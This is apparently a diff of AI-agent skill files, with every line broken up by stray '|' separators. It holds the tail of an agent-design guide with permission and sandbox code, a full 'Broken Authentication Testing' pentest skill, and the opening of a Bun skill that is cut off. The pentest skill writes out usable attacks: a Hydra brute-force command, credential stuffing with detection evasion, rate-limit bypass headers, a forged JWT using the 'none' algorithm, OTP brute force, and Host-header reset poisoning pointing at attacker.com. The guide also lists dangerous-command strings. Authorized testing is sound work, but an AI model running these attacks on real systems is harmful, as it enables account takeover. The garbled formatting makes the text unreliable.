# Ask once per session
|
||||
ASK_ONCE = "ask_once"
|
||||
|
||||
# Ask every time
|
||||
ASK_EACH = "ask_each"
|
||||
|
||||
# Never allow
|
||||
NEVER = "never"
|
||||
|
||||
PERMISSION_CONFIG = {
|
||||
# Low risk - can auto-approve
|
||||
"read_file": PermissionLevel.AUTO,
|
||||
"list_directory": PermissionLevel.AUTO,
|
||||
"search_code": PermissionLevel.AUTO,
|
||||
|
||||
# Medium risk - ask once
|
||||
"write_file": PermissionLevel.ASK_ONCE,
|
||||
"edit_file": PermissionLevel.ASK_ONCE,
|
||||
|
||||
# High risk - ask each time
|
||||
"run_command": PermissionLevel.ASK_EACH,
|
||||
"delete_file": PermissionLevel.ASK_EACH,
|
||||
|
||||
# Dangerous - never auto-approve
|
||||
"sudo_command": PermissionLevel.NEVER,
|
||||
"format_disk": PermissionLevel.NEVER
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 Approval UI Pattern
|
||||
|
||||
```python
|
||||
class ApprovalManager:
|
||||
def __init__(self, ui, config):
|
||||
self.ui = ui
|
||||
self.config = config
|
||||
self.session_approvals = {}
|
||||
|
||||
def request_approval(self, tool_name: str, args: dict) -> bool:
|
||||
level = self.config.get(tool_name, PermissionLevel.ASK_EACH)
|
||||
|
||||
if level == PermissionLevel.AUTO:
|
||||
return True
|
||||
|
||||
if level == PermissionLevel.NEVER:
|
||||
self.ui.show_error(f"Tool '{tool_name}' is not allowed")
|
||||
return False
|
||||
|
||||
if level == PermissionLevel.ASK_ONCE:
|
||||
if tool_name in self.session_approvals:
|
||||
return self.session_approvals[tool_name]
|
||||
|
||||
# Show approval dialog
|
||||
approved = self.ui.show_approval_dialog(
|
||||
tool=tool_name,
|
||||
args=args,
|
||||
risk_level=self._assess_risk(tool_name, args)
|
||||
)
|
||||
|
||||
if level == PermissionLevel.ASK_ONCE:
|
||||
self.session_approvals[tool_name] = approved
|
||||
|
||||
return approved
|
||||
|
||||
def _assess_risk(self, tool_name: str, args: dict) -> str:
|
||||
"""Analyze specific call for risk level"""
|
||||
if tool_name == "run_command":
|
||||
cmd = args.get("command", "")
|
||||
if any(danger in cmd for danger in ["rm -rf", "sudo", "chmod"]):
|
||||
return "HIGH"
|
||||
return "MEDIUM"
|
||||
```
|
||||
|
||||
### 3.3 Sandboxing
|
||||
|
||||
```python
|
||||
class SandboxedExecution:
|
||||
"""
|
||||
Execute code/commands in isolated environment
|
||||
"""
|
||||
|
||||
def __init__(self, workspace_dir: str):
|
||||
self.workspace = workspace_dir
|
||||
self.allowed_commands = ["npm", "python", "node", "git", "ls", "cat"]
|
||||
self.blocked_paths = ["/etc", "/usr", "/bin", os.path.expanduser("~")]
|
||||
|
||||
def validate_path(self, path: str) -> bool:
|
||||
"""Ensure path is within workspace"""
|
||||
real_path = os.path.realpath(path)
|
||||
workspace_real = os.path.realpath(self.workspace)
|
||||
return real_path.startswith(workspace_real)
|
||||
|
||||
def validate_command(self, command: str) -> bool:
|
||||
"""Check if command is allowed"""
|
||||
cmd_parts = shlex.split(command)
|
||||
if not cmd_parts:
|
||||
return False
|
||||
|
||||
base_cmd = cmd_parts[0]
|
||||
return base_cmd in self.allowed_commands
|
||||
|
||||
def execute_sandboxed(self, command: str) -> ToolResult:
|
||||
if not self.validate_command(command):
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Command not allowed: {command}"
|
||||
)
|
||||
|
||||
# Execute in isolated environment
|
||||
result = subprocess.run(
|
||||
command,
|
||||
shell=True,
|
||||
cwd=self.workspace,
|
||||
capture_output=True,
|
||||
timeout=30,
|
||||
env={
|
||||
**os.environ,
|
||||
"HOME": self.workspace, # Isolate home directory
|
||||
}
|
||||
)
|
||||
|
||||
return ToolResult(
|
||||
success=result.returncode == 0,
|
||||
output=result.stdout.decode(),
|
||||
error=result.stderr.decode() if result.returncode != 0 else None
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Browser Automation
|
||||
|
||||
### 4.1 Browser Tool Pattern
|
||||
|
||||
```python
|
||||
class BrowserTool:
|
||||
"""
|
||||
Browser automation for agents using Playwright/Puppeteer.
|
||||
Enables visual debugging and web testing.
|
||||
"""
|
||||
|
||||
def __init__(self, headless: bool = True):
|
||||
self.browser = None
|
||||
self.page = None
|
||||
self.headless = headless
|
||||
|
||||
async def open_url(self, url: str) -> ToolResult:
|
||||
"""Navigate to URL and return page info"""
|
||||
if not self.browser:
|
||||
self.browser = await playwright.chromium.launch(headless=self.headless)
|
||||
self.page = await self.browser.new_page()
|
||||
|
||||
await self.page.goto(url)
|
||||
|
||||
# Capture state
|
||||
screenshot = await self.page.screenshot(type='png')
|
||||
title = await self.page.title()
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output=f"Loaded: {title}",
|
||||
metadata={
|
||||
"screenshot": base64.b64encode(screenshot).decode(),
|
||||
"url": self.page.url
|
||||
}
|
||||
)
|
||||
|
||||
async def click(self, selector: str) -> ToolResult:
|
||||
"""Click on an element"""
|
||||
try:
|
||||
await self.page.click(selector, timeout=5000)
|
||||
await self.page.wait_for_load_state("networkidle")
|
||||
|
||||
screenshot = await self.page.screenshot()
|
||||
return ToolResult(
|
||||
success=True,
|
||||
output=f"Clicked: {selector}",
|
||||
metadata={"screenshot": base64.b64encode(screenshot).decode()}
|
||||
)
|
||||
except TimeoutError:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Element not found: {selector}"
|
||||
)
|
||||
|
||||
async def type_text(self, selector: str, text: str) -> ToolResult:
|
||||
"""Type text into an input"""
|
||||
await self.page.fill(selector, text)
|
||||
return ToolResult(success=True, output=f"Typed into {selector}")
|
||||
|
||||
async def get_page_content(self) -> ToolResult:
|
||||
"""Get accessible text content of the page"""
|
||||
content = await self.page.evaluate("""
|
||||
() => {
|
||||
// Get visible text
|
||||
const walker = document.createTreeWalker(
|
||||
document.body,
|
||||
NodeFilter.SHOW_TEXT,
|
||||
null,
|
||||
false
|
||||
);
|
||||
|
||||
let text = '';
|
||||
while (walker.nextNode()) {
|
||||
const node = walker.currentNode;
|
||||
if (node.textContent.trim()) {
|
||||
text += node.textContent.trim() + '\\n';
|
||||
}
|
||||
}
|
||||
return text;
|
||||
}
|
||||
""")
|
||||
return ToolResult(success=True, output=content)
|
||||
```
|
||||
|
||||
### 4.2 Visual Agent Pattern
|
||||
|
||||
```python
|
||||
class VisualAgent:
|
||||
"""
|
||||
Agent that uses screenshots to understand web pages.
|
||||
Can identify elements visually without selectors.
|
||||
"""
|
||||
|
||||
def __init__(self, llm, browser):
|
||||
self.llm = llm
|
||||
self.browser = browser
|
||||
|
||||
async def describe_page(self) -> str:
|
||||
"""Use vision model to describe current page"""
|
||||
screenshot = await self.browser.screenshot()
|
||||
|
||||
response = self.llm.chat([
|
||||
{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{"type": "text", "text": "Describe this webpage. List all interactive elements you see."},
|
||||
{"type": "image", "data": screenshot}
|
||||
]
|
||||
}
|
||||
])
|
||||
|
||||
return response.content
|
||||
|
||||
async def find_and_click(self, description: str) -> ToolResult:
|
||||
"""Find element by visual description and click it"""
|
||||
screenshot = await self.browser.screenshot()
|
||||
|
||||
# Ask vision model to find element
|
||||
response = self.llm.chat([
|
||||
{
|
||||
"role": "user",
|
||||
"content": [
|
||||
{
|
||||
"type": "text",
|
||||
"text": f"""
|
||||
Find the element matching: "{description}"
|
||||
Return the approximate coordinates as JSON: {{"x": number, "y": number}}
|
||||
"""
|
||||
},
|
||||
{"type": "image", "data": screenshot}
|
||||
]
|
||||
}
|
||||
])
|
||||
|
||||
coords = json.loads(response.content)
|
||||
await self.browser.page.mouse.click(coords["x"], coords["y"])
|
||||
|
||||
return ToolResult(success=True, output=f"Clicked at ({coords['x']}, {coords['y']})")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Context Management
|
||||
|
||||
### 5.1 Context Injection Patterns
|
||||
|
||||
````python
|
||||
class ContextManager:
|
||||
"""
|
||||
Manage context provided to the agent.
|
||||
Inspired by Cline's @-mention patterns.
|
||||
"""
|
||||
|
||||
def __init__(self, workspace: str):
|
||||
self.workspace = workspace
|
||||
self.context = []
|
||||
|
||||
def add_file(self, path: str) -> None:
|
||||
"""@file - Add file contents to context"""
|
||||
with open(path, 'r') as f:
|
||||
content = f.read()
|
||||
|
||||
self.context.append({
|
||||
"type": "file",
|
||||
"path": path,
|
||||
"content": content
|
||||
})
|
||||
|
||||
def add_folder(self, path: str, max_files: int = 20) -> None:
|
||||
"""@folder - Add all files in folder"""
|
||||
for root, dirs, files in os.walk(path):
|
||||
for file in files[:max_files]:
|
||||
file_path = os.path.join(root, file)
|
||||
self.add_file(file_path)
|
||||
|
||||
def add_url(self, url: str) -> None:
|
||||
"""@url - Fetch and add URL content"""
|
||||
response = requests.get(url)
|
||||
content = html_to_markdown(response.text)
|
||||
|
||||
self.context.append({
|
||||
"type": "url",
|
||||
"url": url,
|
||||
"content": content
|
||||
})
|
||||
|
||||
def add_problems(self, diagnostics: list) -> None:
|
||||
"""@problems - Add IDE diagnostics"""
|
||||
self.context.append({
|
||||
"type": "diagnostics",
|
||||
"problems": diagnostics
|
||||
})
|
||||
|
||||
def format_for_prompt(self) -> str:
|
||||
"""Format all context for LLM prompt"""
|
||||
parts = []
|
||||
for item in self.context:
|
||||
if item["type"] == "file":
|
||||
parts.append(f"## File: {item['path']}\n```\n{item['content']}\n```")
|
||||
elif item["type"] == "url":
|
||||
parts.append(f"## URL: {item['url']}\n{item['content']}")
|
||||
elif item["type"] == "diagnostics":
|
||||
parts.append(f"## Problems:\n{json.dumps(item['problems'], indent=2)}")
|
||||
|
||||
return "\n\n".join(parts)
|
||||
````
|
||||
|
||||
### 5.2 Checkpoint/Resume
|
||||
|
||||
```python
|
||||
class CheckpointManager:
|
||||
"""
|
||||
Save and restore agent state for long-running tasks.
|
||||
"""
|
||||
|
||||
def __init__(self, storage_dir: str):
|
||||
self.storage_dir = storage_dir
|
||||
os.makedirs(storage_dir, exist_ok=True)
|
||||
|
||||
def save_checkpoint(self, session_id: str, state: dict) -> str:
|
||||
"""Save current agent state"""
|
||||
checkpoint = {
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"session_id": session_id,
|
||||
"history": state["history"],
|
||||
"context": state["context"],
|
||||
"workspace_state": self._capture_workspace(state["workspace"]),
|
||||
"metadata": state.get("metadata", {})
|
||||
}
|
||||
|
||||
path = os.path.join(self.storage_dir, f"{session_id}.json")
|
||||
with open(path, 'w') as f:
|
||||
json.dump(checkpoint, f, indent=2)
|
||||
|
||||
return path
|
||||
|
||||
def restore_checkpoint(self, checkpoint_path: str) -> dict:
|
||||
"""Restore agent state from checkpoint"""
|
||||
with open(checkpoint_path, 'r') as f:
|
||||
checkpoint = json.load(f)
|
||||
|
||||
return {
|
||||
"history": checkpoint["history"],
|
||||
"context": checkpoint["context"],
|
||||
"workspace": self._restore_workspace(checkpoint["workspace_state"]),
|
||||
"metadata": checkpoint["metadata"]
|
||||
}
|
||||
|
||||
def _capture_workspace(self, workspace: str) -> dict:
|
||||
"""Capture relevant workspace state"""
|
||||
# Git status, file hashes, etc.
|
||||
return {
|
||||
"git_ref": subprocess.getoutput(f"cd {workspace} && git rev-parse HEAD"),
|
||||
"git_dirty": subprocess.getoutput(f"cd {workspace} && git status --porcelain")
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. MCP (Model Context Protocol) Integration
|
||||
|
||||
### 6.1 MCP Server Pattern
|
||||
|
||||
```python
|
||||
from mcp import Server, Tool
|
||||
|
||||
class MCPAgent:
|
||||
"""
|
||||
Agent that can dynamically discover and use MCP tools.
|
||||
'Add a tool that...' pattern from Cline.
|
||||
"""
|
||||
|
||||
def __init__(self, llm):
|
||||
self.llm = llm
|
||||
self.mcp_servers = {}
|
||||
self.available_tools = {}
|
||||
|
||||
def connect_server(self, name: str, config: dict) -> None:
|
||||
"""Connect to an MCP server"""
|
||||
server = Server(config)
|
||||
self.mcp_servers[name] = server
|
||||
|
||||
# Discover tools
|
||||
tools = server.list_tools()
|
||||
for tool in tools:
|
||||
self.available_tools[tool.name] = {
|
||||
"server": name,
|
||||
"schema": tool.schema
|
||||
}
|
||||
|
||||
async def create_tool(self, description: str) -> str:
|
||||
"""
|
||||
Create a new MCP server based on user description.
|
||||
'Add a tool that fetches Jira tickets'
|
||||
"""
|
||||
# Generate MCP server code
|
||||
code = self.llm.generate(f"""
|
||||
Create a Python MCP server with a tool that does:
|
||||
{description}
|
||||
|
||||
Use the FastMCP framework. Include proper error handling.
|
||||
Return only the Python code.
|
||||
""")
|
||||
|
||||
# Save and install
|
||||
server_name = self._extract_name(description)
|
||||
path = f"./mcp_servers/{server_name}/server.py"
|
||||
|
||||
with open(path, 'w') as f:
|
||||
f.write(code)
|
||||
|
||||
# Hot-reload
|
||||
self.connect_server(server_name, {"path": path})
|
||||
|
||||
return f"Created tool: {server_name}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices Checklist
|
||||
|
||||
### Agent Design
|
||||
|
||||
- [ ] Clear task decomposition
|
||||
- [ ] Appropriate tool granularity
|
||||
- [ ] Error handling at each step
|
||||
- [ ] Progress visibility to user
|
||||
|
||||
### Safety
|
||||
|
||||
- [ ] Permission system implemented
|
||||
- [ ] Dangerous operations blocked
|
||||
- [ ] Sandbox for untrusted code
|
||||
- [ ] Audit logging enabled
|
||||
|
||||
### UX
|
||||
|
||||
- [ ] Approval UI is clear
|
||||
- [ ] Progress updates provided
|
||||
- [ ] Undo/rollback available
|
||||
- [ ] Explanation of actions
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [Cline](https://github.com/cline/cline)
|
||||
- [OpenAI Codex](https://github.com/openai/codex)
|
||||
- [Model Context Protocol](https://modelcontextprotocol.io/)
|
||||
- [Anthropic Tool Use](https://docs.anthropic.com/claude/docs/tool-use)
|
||||
473
skills/broken-authentication/SKILL.md
Normal file
473
skills/broken-authentication/SKILL.md
Normal file
@@ -0,0 +1,473 @@
|
||||
---
|
||||
name: Broken Authentication Testing
|
||||
description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
|
||||
---
|
||||
|
||||
# Broken Authentication Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Knowledge
|
||||
- HTTP protocol and session mechanisms
|
||||
- Authentication types (SFA, 2FA, MFA)
|
||||
- Cookie and token handling
|
||||
- Common authentication frameworks
|
||||
|
||||
### Required Tools
|
||||
- Burp Suite Professional or Community
|
||||
- Hydra or similar brute-force tools
|
||||
- Custom wordlists for credential testing
|
||||
- Browser developer tools
|
||||
|
||||
### Required Access
|
||||
- Target application URL
|
||||
- Test account credentials
|
||||
- Written authorization for testing
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Authentication Assessment Report** - Document all identified vulnerabilities
|
||||
2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
|
||||
3. **Session Security Analysis** - Token randomness and timeout evaluation
|
||||
4. **Remediation Recommendations** - Security hardening guidance
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Authentication Mechanism Analysis
|
||||
|
||||
Understand the application's authentication architecture:
|
||||
|
||||
```
|
||||
# Identify authentication type
|
||||
- Password-based (forms, basic auth, digest)
|
||||
- Token-based (JWT, OAuth, API keys)
|
||||
- Certificate-based (mutual TLS)
|
||||
- Multi-factor (SMS, TOTP, hardware tokens)
|
||||
|
||||
# Map authentication endpoints
|
||||
/login, /signin, /authenticate
|
||||
/register, /signup
|
||||
/forgot-password, /reset-password
|
||||
/logout, /signout
|
||||
/api/auth/*, /oauth/*
|
||||
```
|
||||
|
||||
Capture and analyze authentication requests:
|
||||
|
||||
```http
|
||||
POST /login HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=test&password=test123
|
||||
```
|
||||
|
||||
### Phase 2: Password Policy Testing
|
||||
|
||||
Evaluate password requirements and enforcement:
|
||||
|
||||
```bash
|
||||
# Test minimum length (a, ab, abcdefgh)
|
||||
# Test complexity (password, password1, Password1!)
|
||||
# Test common weak passwords (123456, password, qwerty, admin)
|
||||
# Test username as password (admin/admin, test/test)
|
||||
```
|
||||
|
||||
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
|
||||
|
||||
### Phase 3: Credential Enumeration
|
||||
|
||||
Test for username enumeration vulnerabilities:
|
||||
|
||||
```bash
|
||||
# Compare responses for valid vs invalid usernames
|
||||
# Invalid: "Invalid username" vs Valid: "Invalid password"
|
||||
# Check timing differences, response codes, registration messages
|
||||
```
|
||||
|
||||
# Password reset
|
||||
"Email sent if account exists" (secure)
|
||||
"No account with that email" (leaks info)
|
||||
|
||||
# API responses
|
||||
{"error": "user_not_found"}
|
||||
{"error": "invalid_password"}
|
||||
```
|
||||
|
||||
### Phase 4: Brute Force Testing
|
||||
|
||||
Test account lockout and rate limiting:
|
||||
|
||||
```bash
|
||||
# Using Hydra for form-based auth
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
|
||||
target.com http-post-form \
|
||||
"/login:username=^USER^&password=^PASS^:Invalid credentials"
|
||||
|
||||
# Using Burp Intruder
|
||||
1. Capture login request
|
||||
2. Send to Intruder
|
||||
3. Set payload positions on password field
|
||||
4. Load wordlist
|
||||
5. Start attack
|
||||
6. Analyze response lengths/codes
|
||||
```
|
||||
|
||||
Check for protections:
|
||||
|
||||
```bash
|
||||
# Account lockout
|
||||
- After how many attempts?
|
||||
- Duration of lockout?
|
||||
- Lockout notification?
|
||||
|
||||
# Rate limiting
|
||||
- Requests per minute limit?
|
||||
- IP-based or account-based?
|
||||
- Bypass via headers (X-Forwarded-For)?
|
||||
|
||||
# CAPTCHA
|
||||
- After failed attempts?
|
||||
- Easily bypassable?
|
||||
```
|
||||
|
||||
### Phase 5: Credential Stuffing
|
||||
|
||||
Test with known breached credentials:
|
||||
|
||||
```bash
|
||||
# Credential stuffing differs from brute force
|
||||
# Uses known email:password pairs from breaches
|
||||
|
||||
# Using Burp Intruder with Pitchfork attack
|
||||
1. Set username and password as positions
|
||||
2. Load email list as payload 1
|
||||
3. Load password list as payload 2 (matched pairs)
|
||||
4. Analyze for successful logins
|
||||
|
||||
# Detection evasion
|
||||
- Slow request rate
|
||||
- Rotate source IPs
|
||||
- Randomize user agents
|
||||
- Add delays between attempts
|
||||
```
|
||||
|
||||
### Phase 6: Session Management Testing
|
||||
|
||||
Analyze session token security:
|
||||
|
||||
```bash
|
||||
# Capture session cookie
|
||||
Cookie: SESSIONID=abc123def456
|
||||
|
||||
# Test token characteristics
|
||||
1. Entropy - Is it random enough?
|
||||
2. Length - Sufficient length (128+ bits)?
|
||||
3. Predictability - Sequential patterns?
|
||||
4. Secure flags - HttpOnly, Secure, SameSite?
|
||||
```
|
||||
|
||||
Session token analysis:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import hashlib
|
||||
|
||||
# Collect multiple session tokens
|
||||
tokens = []
|
||||
for i in range(100):
|
||||
response = requests.get("https://target.com/login")
|
||||
token = response.cookies.get("SESSIONID")
|
||||
tokens.append(token)
|
||||
|
||||
# Analyze for patterns
|
||||
# Check for sequential increments
|
||||
# Calculate entropy
|
||||
# Look for timestamp components
|
||||
```
|
||||
|
||||
### Phase 7: Session Fixation Testing
|
||||
|
||||
Test if session is regenerated after authentication:
|
||||
|
||||
```bash
|
||||
# Step 1: Get session before login
|
||||
GET /login HTTP/1.1
|
||||
Response: Set-Cookie: SESSIONID=abc123
|
||||
|
||||
# Step 2: Login with same session
|
||||
POST /login HTTP/1.1
|
||||
Cookie: SESSIONID=abc123
|
||||
username=valid&password=valid
|
||||
|
||||
# Step 3: Check if session changed
|
||||
# VULNERABLE if SESSIONID remains abc123
|
||||
# SECURE if new session assigned after login
|
||||
```
|
||||
|
||||
Attack scenario:
|
||||
|
||||
```bash
|
||||
# Attacker workflow:
|
||||
1. Attacker visits site, gets session: SESSIONID=attacker_session
|
||||
2. Attacker sends link to victim with fixed session:
|
||||
https://target.com/login?SESSIONID=attacker_session
|
||||
3. Victim logs in with attacker's session
|
||||
4. Attacker now has authenticated session
|
||||
```
|
||||
|
||||
### Phase 8: Session Timeout Testing
|
||||
|
||||
Verify session expiration policies:
|
||||
|
||||
```bash
|
||||
# Test idle timeout
|
||||
1. Login and note session cookie
|
||||
2. Wait without activity (15, 30, 60 minutes)
|
||||
3. Attempt to use session
|
||||
4. Check if session is still valid
|
||||
|
||||
# Test absolute timeout
|
||||
1. Login and continuously use session
|
||||
2. Check if forced logout after set period (8 hours, 24 hours)
|
||||
|
||||
# Test logout functionality
|
||||
1. Login and note session
|
||||
2. Click logout
|
||||
3. Attempt to reuse old session cookie
|
||||
4. Session should be invalidated server-side
|
||||
```
|
||||
|
||||
### Phase 9: Multi-Factor Authentication Testing
|
||||
|
||||
Assess MFA implementation security:
|
||||
|
||||
```bash
|
||||
# OTP brute force
|
||||
- 4-digit OTP = 10,000 combinations
|
||||
- 6-digit OTP = 1,000,000 combinations
|
||||
- Test rate limiting on OTP endpoint
|
||||
|
||||
# OTP bypass techniques
|
||||
- Skip MFA step by direct URL access
|
||||
- Modify response to indicate MFA passed
|
||||
- Null/empty OTP submission
|
||||
- Previous valid OTP reuse
|
||||
|
||||
# API Version Downgrade Attack (crAPI example)
|
||||
# If /api/v3/check-otp has rate limiting, try older versions:
|
||||
POST /api/v2/check-otp
|
||||
{"otp": "1234"}
|
||||
# Older API versions may lack security controls
|
||||
|
||||
# Using Burp for OTP testing
|
||||
1. Capture OTP verification request
|
||||
2. Send to Intruder
|
||||
3. Set OTP field as payload position
|
||||
4. Use numbers payload (0000-9999)
|
||||
5. Check for successful bypass
|
||||
```
|
||||
|
||||
Test MFA enrollment:
|
||||
|
||||
```bash
|
||||
# Forced enrollment
|
||||
- Can MFA be skipped during setup?
|
||||
- Can backup codes be accessed without verification?
|
||||
|
||||
# Recovery process
|
||||
- Can MFA be disabled via email alone?
|
||||
- Social engineering potential?
|
||||
```
|
||||
|
||||
### Phase 10: Password Reset Testing
|
||||
|
||||
Analyze password reset security:
|
||||
|
||||
```bash
|
||||
# Token security
|
||||
1. Request password reset
|
||||
2. Capture reset link
|
||||
3. Analyze token:
|
||||
- Length and randomness
|
||||
- Expiration time
|
||||
- Single-use enforcement
|
||||
- Account binding
|
||||
|
||||
# Token manipulation
|
||||
https://target.com/reset?token=abc123&user=victim
|
||||
# Try changing user parameter while using valid token
|
||||
|
||||
# Host header injection
|
||||
POST /forgot-password HTTP/1.1
|
||||
Host: attacker.com
|
||||
email=victim@email.com
|
||||
# Reset email may contain attacker's domain
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Common Vulnerability Types
|
||||
|
||||
| Vulnerability | Risk | Test Method |
|
||||
|--------------|------|-------------|
|
||||
| Weak passwords | High | Policy testing, dictionary attack |
|
||||
| No lockout | High | Brute force testing |
|
||||
| Username enumeration | Medium | Differential response analysis |
|
||||
| Session fixation | High | Pre/post-login session comparison |
|
||||
| Weak session tokens | High | Entropy analysis |
|
||||
| No session timeout | Medium | Long-duration session testing |
|
||||
| Insecure password reset | High | Token analysis, workflow bypass |
|
||||
| MFA bypass | Critical | Direct access, response manipulation |
|
||||
|
||||
### Credential Testing Payloads
|
||||
|
||||
```bash
|
||||
# Default credentials
|
||||
admin:admin
|
||||
admin:password
|
||||
admin:123456
|
||||
root:root
|
||||
test:test
|
||||
user:user
|
||||
|
||||
# Common passwords
|
||||
123456
|
||||
password
|
||||
12345678
|
||||
qwerty
|
||||
abc123
|
||||
password1
|
||||
admin123
|
||||
|
||||
# Breached credential databases
|
||||
- Have I Been Pwned dataset
|
||||
- SecLists passwords
|
||||
- Custom targeted lists
|
||||
```
|
||||
|
||||
### Session Cookie Flags
|
||||
|
||||
| Flag | Purpose | Vulnerability if Missing |
|
||||
|------|---------|------------------------|
|
||||
| HttpOnly | Prevent JS access | XSS can steal session |
|
||||
| Secure | HTTPS only | Sent over HTTP |
|
||||
| SameSite | CSRF protection | Cross-site requests allowed |
|
||||
| Path | URL scope | Broader exposure |
|
||||
| Domain | Domain scope | Subdomain access |
|
||||
| Expires | Lifetime | Persistent sessions |
|
||||
|
||||
### Rate Limiting Bypass Headers
|
||||
|
||||
```http
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
X-Real-IP: 127.0.0.1
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Client-IP: 127.0.0.1
|
||||
X-Remote-IP: 127.0.0.1
|
||||
True-Client-IP: 127.0.0.1
|
||||
```
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test with explicit written authorization
|
||||
- Avoid testing with real breached credentials
|
||||
- Do not access actual user accounts
|
||||
- Document all testing activities
|
||||
|
||||
### Technical Limitations
|
||||
- CAPTCHA may prevent automated testing
|
||||
- Rate limiting affects brute force timing
|
||||
- MFA significantly increases attack difficulty
|
||||
- Some vulnerabilities require victim interaction
|
||||
|
||||
### Scope Considerations
|
||||
- Test accounts may behave differently than production
|
||||
- Some features may be disabled in test environments
|
||||
- Third-party authentication may be out of scope
|
||||
- Production testing requires extra caution
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Account Lockout Bypass
|
||||
|
||||
**Scenario:** Test if account lockout can be bypassed
|
||||
|
||||
```bash
|
||||
# Step 1: Identify lockout threshold
|
||||
# Try 5 wrong passwords for admin account
|
||||
# Result: "Account locked for 30 minutes"
|
||||
|
||||
# Step 2: Test bypass via IP rotation
|
||||
# Use X-Forwarded-For header
|
||||
POST /login HTTP/1.1
|
||||
X-Forwarded-For: 192.168.1.1
|
||||
username=admin&password=attempt1
|
||||
|
||||
# Increment IP for each attempt
|
||||
X-Forwarded-For: 192.168.1.2
|
||||
# Continue until successful or confirmed blocked
|
||||
|
||||
# Step 3: Test bypass via case manipulation
|
||||
username=Admin (vs admin)
|
||||
username=ADMIN
|
||||
# Some systems treat these as different accounts
|
||||
```
|
||||
|
||||
### Example 2: JWT Token Attack
|
||||
|
||||
**Scenario:** Exploit weak JWT implementation
|
||||
|
||||
```bash
|
||||
# Step 1: Capture JWT token
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
|
||||
|
||||
# Step 2: Decode and analyze
|
||||
# Header: {"alg":"HS256","typ":"JWT"}
|
||||
# Payload: {"user":"test","role":"user"}
|
||||
|
||||
# Step 3: Try "none" algorithm attack
|
||||
# Change header to: {"alg":"none","typ":"JWT"}
|
||||
# Remove signature
|
||||
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
|
||||
|
||||
# Step 4: Submit modified token
|
||||
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
|
||||
```
|
||||
|
||||
### Example 3: Password Reset Token Exploitation
|
||||
|
||||
**Scenario:** Test password reset functionality
|
||||
|
||||
```bash
|
||||
# Step 1: Request reset for test account
|
||||
POST /forgot-password
|
||||
email=test@example.com
|
||||
|
||||
# Step 2: Capture reset link
|
||||
https://target.com/reset?token=a1b2c3d4e5f6
|
||||
|
||||
# Step 3: Test token properties
|
||||
# Reuse: Try using same token twice
|
||||
# Expiration: Wait 24+ hours and retry
|
||||
# Modification: Change characters in token
|
||||
|
||||
# Step 4: Test for user parameter manipulation
|
||||
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
|
||||
# Check if admin's password can be reset with test user's token
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
|
||||
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
|
||||
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
|
||||
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
|
||||
691
skills/bun-development/SKILL.md
Normal file
691
skills/bun-development/SKILL.md
Normal file
@@ -0,0 +1,691 @@
|
||||
---
|
||||
name: bun-development
|
||||
description: "Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun."
|
||||
---
|
||||
|
||||
# ⚡ Bun Development
|
||||
|
||||
> Fast, modern JavaScript/TypeScript development with the Bun runtime, inspired by [oven-sh/bun](https://github.com/oven-sh/bun).
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Starting new JS/TS projects with Bun
|
||||
- Migrating from Node.js to Bun
|
||||
- Optimizing development speed
|
||||
- Using Bun's built-in tools (bundler, test runner)
|
||||
- Troubleshooting Bun-specific issues
|
||||
|
||||
---
|
||||
|
||||
## 1. Getting Started
|
||||
|
||||
### 1.1 Installation
|
||||
|
||||
```bash
|
||||
# macOS / Linux
|
||||
curl -fsSL https://bun.sh/install | bash
|
||||
|
||||
# Windows
|
||||
